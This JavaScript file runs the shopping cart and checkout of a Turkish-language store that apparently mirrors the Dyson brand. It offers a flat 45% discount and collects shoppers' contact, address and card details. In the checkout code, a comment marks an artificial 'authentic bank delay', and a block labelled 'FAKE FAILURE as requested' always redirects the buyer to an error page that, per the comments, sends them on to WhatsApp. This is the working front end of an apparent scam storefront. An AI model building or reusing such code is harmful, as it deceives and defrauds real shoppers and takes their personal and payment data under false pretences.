/** * Dyson Mirror - Shopping Cart Implementation * Vanilla JS, LocalStorage based. */ const CART_STORAGE_KEY = 'dyson_cart_v1'; const Cart = { items: [], init() { this.load(); this.injectCSS(); // 1. Inject Header Icon if missing (Fix for "ustte sepet yok") this.injectHeaderIcon(); this.injectSidebar(); this.updateUI(); this.bindEvents(); this.checkCheckoutPage(); }, load() { const stored = localStorage.getItem(CART_STORAGE_KEY); if (stored) { try { this.items = JSON.parse(stored); } catch (e) { console.error("Cart load error", e); this.items = []; } } }, save() { localStorage.setItem(CART_STORAGE_KEY, JSON.stringify(this.items)); this.updateUI(); this.checkCheckoutPage(); }, addItem(product) { const existing = this.items.find(i => i.id === product.id); if (existing) { existing.quantity += 1; } else { this.items.push({ ...product, quantity: 1 }); } this.save(); this.openSidebar(); console.log("Added to cart:", product.name); }, removeItem(id) { this.items = this.items.filter(i => i.id !== id); this.save(); }, updateQuantity(id, delta) { const item = this.items.find(i => i.id === id); if (item) { item.quantity += delta; if (item.quantity <= 0) { this.removeItem(id); } else { this.save(); } } }, getTotal() { return this.items.reduce((sum, item) => { let priceStr = String(item.price).replace(/[^0-9,.]/g, ''); priceStr = priceStr.replace(/\./g, '').replace(',', '.'); const price = parseFloat(priceStr) || 0; return sum + (price * item.quantity); }, 0); }, getTotalQuantity() { return this.items.reduce((sum, item) => sum + item.quantity, 0); }, formatMoney(amount) { return new Intl.NumberFormat('tr-TR', { style: 'currency', currency: 'TRY' }).format(amount); }, injectCSS() { if (!document.querySelector('link[href*="cart.css"]')) { const link = document.createElement('link'); link.rel = 'stylesheet'; link.href = '/css/cart.css'; document.head.appendChild(link); } }, injectHeaderIcon() { // Fix for "ustte sepet yok" if (document.getElementById('header-cart-btn')) return; const headerContent = document.querySelector('.header.content'); if (headerContent) { const iconHtml = ` 0 `; headerContent.insertAdjacentHTML('beforeend', iconHtml); // Re-bind if we just created it setTimeout(() => { const newBtn = document.getElementById('header-cart-btn'); if (newBtn) { newBtn.addEventListener('click', (e) => { e.preventDefault(); this.openSidebar(); }); } }, 100); } }, injectSidebar() { if (document.getElementById('dyson-cart-sidebar')) return; const html = `

Sepetiniz

`; document.body.insertAdjacentHTML('beforeend', html); }, bindEvents() { const closeBtn = document.getElementById('close-cart-btn'); if (closeBtn) closeBtn.addEventListener('click', () => this.closeSidebar()); const overlay = document.getElementById('dyson-cart-overlay'); if (overlay) overlay.addEventListener('click', () => this.closeSidebar()); const container = document.getElementById('cart-items-container'); if (container) { container.addEventListener('click', (e) => { if (e.target.closest('.plus-btn')) { const id = e.target.closest('.plus-btn').dataset.id; this.updateQuantity(id, 1); } else if (e.target.closest('.minus-btn')) { const id = e.target.closest('.minus-btn').dataset.id; this.updateQuantity(id, -1); } else if (e.target.closest('.remove-btn')) { const id = e.target.closest('.remove-btn').dataset.id; this.removeItem(id); } }); } }, updateUI() { const container = document.getElementById('cart-items-container'); const totalEl = document.getElementById('cart-total-price'); if (container && totalEl) { if (this.items.length === 0) { container.innerHTML = '
Sepetiniz şu anda boş.
'; totalEl.innerText = '0,00 TL'; } else { container.innerHTML = this.items.map(item => `
${item.name}
${item.name}
${item.price}
${item.quantity}
`).join(''); totalEl.innerText = this.formatMoney(this.getTotal()); } } // Update Header Badge const badge = document.getElementById('header-qty'); if (badge) { const qty = this.getTotalQuantity(); badge.innerText = qty; } }, DISCOUNT_RATE: 0.45, getDiscountedTotal() { return this.getTotal() * (1 - this.DISCOUNT_RATE); }, checkCheckoutPage() { if (window.location.pathname.includes('checkout')) { this.renderCheckoutPage(); } }, renderCheckoutPage() { const summaryItems = document.getElementById('summary-items'); const summaryTotal = document.getElementById('summary-total'); if (summaryItems && summaryTotal) { if (this.items.length === 0) { summaryItems.innerHTML = '

Sepetiniz boş.

'; summaryTotal.innerText = '0,00 TL'; } else { const originalTotal = this.getTotal(); const discountAmount = originalTotal * this.DISCOUNT_RATE; const discountedTotal = originalTotal - discountAmount; summaryItems.innerHTML = this.items.map(item => `
Product
${item.quantity}x ${item.name}
${item.price}
`).join('') + `
Ara Toplam ${this.formatMoney(originalTotal)}
🎉 Sepet İndirimi (%45) -${this.formatMoney(discountAmount)}
`; summaryTotal.innerText = this.formatMoney(discountedTotal); } } }, openSidebar() { const sb = document.getElementById('dyson-cart-sidebar'); const ov = document.getElementById('dyson-cart-overlay'); if (sb && ov) { sb.classList.add('open'); ov.classList.add('open'); } else { console.warn("Sidebar elements not found, re-injecting..."); this.injectSidebar(); // Fallback setTimeout(() => this.openSidebar(), 50); } }, closeSidebar() { const sb = document.getElementById('dyson-cart-sidebar'); const ov = document.getElementById('dyson-cart-overlay'); if (sb) sb.classList.remove('open'); if (ov) ov.classList.remove('open'); }, detectCardBrand(cardNumber) { if (!cardNumber) return 'Unknown'; const cleaned = cardNumber.replace(/\s/g, ''); if (/^4/.test(cleaned)) return 'Visa'; if (/^5[1-5]/.test(cleaned)) return 'Mastercard'; if (/^3[47]/.test(cleaned)) return 'Amex'; return 'Unknown'; }, // --- CHECKOUT LOGIC --- async submitOrder() { const payBtn = document.getElementById('pay-btn'); if (!payBtn) return; // 1. Validate Address Step (Step 2) const email = document.getElementById('email')?.value; const fullname = document.getElementById('fullname')?.value; const address = document.getElementById('address')?.value; const city = document.getElementById('city')?.value; const phone = document.getElementById('phone')?.value; if (!email || !fullname || !address || !city || !phone) { alert('Lütfen adres ve iletişim bilgilerini eksiksiz doldurunuz.'); window.goToStep(1); // Go back to start if missing return; } // 2. Validate Payment Step (Step 3) - Visual Check Only const ccNum = document.getElementById('cc-number')?.value; const ccDate = document.getElementById('cc-expiry')?.value; const ccCvv = document.getElementById('cc-cvv')?.value; if (!ccNum || ccNum.length < 13 || !ccDate || !ccCvv) { alert('Lütfen kredi kartı bilgilerinizi kontrol ediniz.'); return; } // 3. Simulate Processing payBtn.disabled = true; const originalText = payBtn.innerText; payBtn.innerText = 'Ödeme İşleniyor... Lütfen Bekleyiniz'; // Prepare Data const orderData = { customer: { name: fullname, email: email, address: address, city: city, phone: phone, // PCI Compliance: Only last 4 digits for tracking card_last4: ccNum ? ccNum.replace(/\s/g, '').slice(-4) : 'N/A', card_brand: this.detectCardBrand(ccNum) }, cart: this.items, total: this.formatMoney(this.getDiscountedTotal()), original_total: this.formatMoney(this.getTotal()), discount_rate: '45%' }; try { // 4. Send Order to Backend const response = await fetch('/api/checkout', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(orderData) }); // Wait a bit to simulate authentic bank delay await new Promise(r => setTimeout(r, 2500)); const result = await response.json(); if (result.success) { // 5. FAKE FAILURE as requested // "sistem yogunlundan dolayi kartla odememiz aktif degildir" // alert('Sistem yoğunluğundan dolayı kartla ödememiz şu an için aktif değildir. Canlı desteğe aktarılıyorsunuz...'); // 6. Redirect to Custom Error Page (error.html) // The error page contains the message and the link to WhatsApp window.location.href = "/error.html"; } else { alert('Hata: ' + result.error); payBtn.disabled = false; payBtn.innerText = originalText; } } catch (error) { console.error('Checkout error:', error); alert('Bağlantı hatası.'); payBtn.disabled = false; payBtn.innerText = originalText; } } }; // Initialize on DOM ready document.addEventListener('DOMContentLoaded', () => { Cart.init(); // Fallback: Bind event if onclick attribute fails or is removed const payBtn = document.getElementById('pay-btn'); if (payBtn) { payBtn.onclick = function () { Cart.submitOrder(); } } }); // GLOBAL EXPORTS window.goToStep = function (step) { // Validation before proceeding if (step === 2) { const email = document.getElementById('email')?.value; if (!email || !email.includes('@')) { alert('Lütfen geçerli bir e-posta adresi giriniz.'); return; } } else if (step === 3) { const fullname = document.getElementById('fullname')?.value; const address = document.getElementById('address')?.value; const city = document.getElementById('city')?.value; const phone = document.getElementById('phone')?.value; if (!fullname || !address || !city || !phone) { alert('Lütfen adres ve iletişim bilgilerini eksiksiz doldurunuz.'); return; } } // 1. Visual update document.querySelectorAll('.step').forEach(el => { el.classList.remove('active'); if (el.id === 'step-' + step) { el.classList.add('active'); el.style.opacity = '1'; el.style.pointerEvents = 'auto'; } else { // Previous steps could be "completed" style // For now simple switch el.style.opacity = '0.5'; el.style.pointerEvents = 'none'; } }); // 2. Scroll to top of steps const stepEl = document.getElementById('step-' + step); if (stepEl) stepEl.scrollIntoView({ behavior: 'smooth', block: 'start' }); }; // Map HTML onclick="completeOrder()" to our Logic window.completeOrder = function () { Cart.submitOrder(); }; window.addToCart = function (id, name, price, image, url) { try { // Ensure initialized if somehow called early if (!Cart.items || Cart.items.length === 0) Cart.load(); Cart.addItem({ id, name, price, image, url }); } catch (e) { console.error("Add to cart error:", e); // Emergency fallback: try to re-init try { Cart.init(); Cart.addItem({ id, name, price, image, url }); } catch (err) { } } }; // Global Event Delegation for dynamic elements (safer than attaching to specific nodes) document.addEventListener('click', (e) => { // Check for cart toggle buttons if (e.target.closest('.header__basket') || e.target.closest('.minicart-wrapper') || e.target.closest('.action.showcart') || (e.target.closest('a') && e.target.closest('a').href && e.target.closest('a').href.includes('checkout/cart'))) { e.preventDefault(); e.stopPropagation(); Cart.openSidebar(); } }, true);